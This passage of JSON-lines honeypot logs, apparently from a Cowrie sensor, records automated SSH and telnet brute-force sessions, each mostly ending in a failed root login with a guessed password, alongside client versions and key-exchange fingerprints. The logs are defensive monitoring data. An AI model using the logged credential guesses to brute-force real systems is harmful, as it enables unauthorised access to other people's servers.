com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:50.363053Z","src_ip":"60.165.124.241","session":"8651d1f799b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qd123456","message":"login attempt [root/Qd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:51.141828Z","src_ip":"60.165.124.241","session":"8651d1f799b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:52.412271Z","src_ip":"60.165.124.241","session":"8651d1f799b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53278,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6175bdca494","protocol":"ssh","message":"New connection: 60.165.124.241:53278 (10.17.0.5:22) [session: b6175bdca494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:52.672990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:52.677634Z","src_ip":"60.165.124.241","session":"b6175bdca494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:54.510590Z","src_ip":"60.165.124.241","session":"b6175bdca494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nucleus2011","message":"login attempt [root/Nucleus2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:56.711446Z","src_ip":"60.165.124.241","session":"b6175bdca494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:58.638533Z","src_ip":"60.165.124.241","session":"b6175bdca494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60366,"dst_ip":"10.17.0.5","dst_port":22,"session":"5755d12dd3da","protocol":"ssh","message":"New connection: 60.165.124.241:60366 (10.17.0.5:22) [session: 5755d12dd3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:58.892224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:58.897454Z","src_ip":"60.165.124.241","session":"5755d12dd3da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:59.157388Z","src_ip":"60.165.124.241","session":"5755d12dd3da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword.","message":"login attempt [root/P@ssword.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:00.687472Z","src_ip":"60.165.124.241","session":"5755d12dd3da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:03.166966Z","src_ip":"60.165.124.241","session":"5755d12dd3da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37316,"dst_ip":"10.17.0.5","dst_port":22,"session":"d71e7093f141","protocol":"ssh","message":"New connection: 60.165.124.241:37316 (10.17.0.5:22) [session: d71e7093f141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:03.418746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:03.423640Z","src_ip":"60.165.124.241","session":"d71e7093f141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:03.691836Z","src_ip":"60.165.124.241","session":"d71e7093f141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:05.192619Z","src_ip":"60.165.124.241","session":"d71e7093f141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:06.473239Z","src_ip":"60.165.124.241","session":"d71e7093f141","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41462,"dst_ip":"10.17.0.5","dst_port":22,"session":"67ad6e01e559","protocol":"ssh","message":"New connection: 60.165.124.241:41462 (10.17.0.5:22) [session: 67ad6e01e559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:06.733058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:06.738316Z","src_ip":"60.165.124.241","session":"67ad6e01e559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.119.228.64","src_port":43783,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca1398c9b2cc","protocol":"telnet","message":"New connection: 125.119.228.64:43783 (10.17.0.5:23) [session: ca1398c9b2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:07.565181Z"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:08.542698Z","src_ip":"60.165.124.241","session":"67ad6e01e559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.271504878997803,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:19.836560Z","src_ip":"125.119.228.64","session":"ca1398c9b2cc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"soporte","message":"login attempt [root/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:21.757731Z","src_ip":"60.165.124.241","session":"67ad6e01e559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:23.000610Z","src_ip":"60.165.124.241","session":"67ad6e01e559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60228,"dst_ip":"10.17.0.5","dst_port":22,"session":"48d1023477fe","protocol":"ssh","message":"New connection: 60.165.124.241:60228 (10.17.0.5:22) [session: 48d1023477fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:23.247021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:23.251822Z","src_ip":"60.165.124.241","session":"48d1023477fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:23.497035Z","src_ip":"60.165.124.241","session":"48d1023477fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dark","message":"login attempt [root/dark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:24.244653Z","src_ip":"60.165.124.241","session":"48d1023477fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56724,"dst_ip":"159.203.135.109","dst_port":22,"session":"787824131ca1","protocol":"ssh","message":"New connection: 2.57.122.208:56724 (159.203.135.109:22) [session: 787824131ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:25.317259Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:25.493788Z","src_ip":"60.165.124.241","session":"48d1023477fe","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:25.628838Z","src_ip":"2.57.122.208","session":"787824131ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:25.632579Z","src_ip":"2.57.122.208","session":"787824131ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35236,"dst_ip":"10.17.0.5","dst_port":22,"session":"726c19701ecd","protocol":"ssh","message":"New connection: 60.165.124.241:35236 (10.17.0.5:22) [session: 726c19701ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:25.724963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:25.729083Z","src_ip":"60.165.124.241","session":"726c19701ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:25.975472Z","src_ip":"60.165.124.241","session":"726c19701ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"BbAxy@#$110good","message":"login attempt [root/BbAxy@#$110good] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:26.702660Z","src_ip":"60.165.124.241","session":"726c19701ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:27.201936Z","src_ip":"2.57.122.208","session":"787824131ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:27.944883Z","src_ip":"60.165.124.241","session":"726c19701ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38070,"dst_ip":"10.17.0.5","dst_port":22,"session":"31789a69d043","protocol":"ssh","message":"New connection: 60.165.124.241:38070 (10.17.0.5:22) [session: 31789a69d043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:28.175747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:28.180537Z","src_ip":"60.165.124.241","session":"31789a69d043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:28.419520Z","src_ip":"60.165.124.241","session":"31789a69d043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:28.428582Z","src_ip":"2.57.122.208","session":"787824131ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"disc","message":"login attempt [root/disc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:29.166717Z","src_ip":"60.165.124.241","session":"31789a69d043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:30.410791Z","src_ip":"60.165.124.241","session":"31789a69d043","protocol":"ssh"}
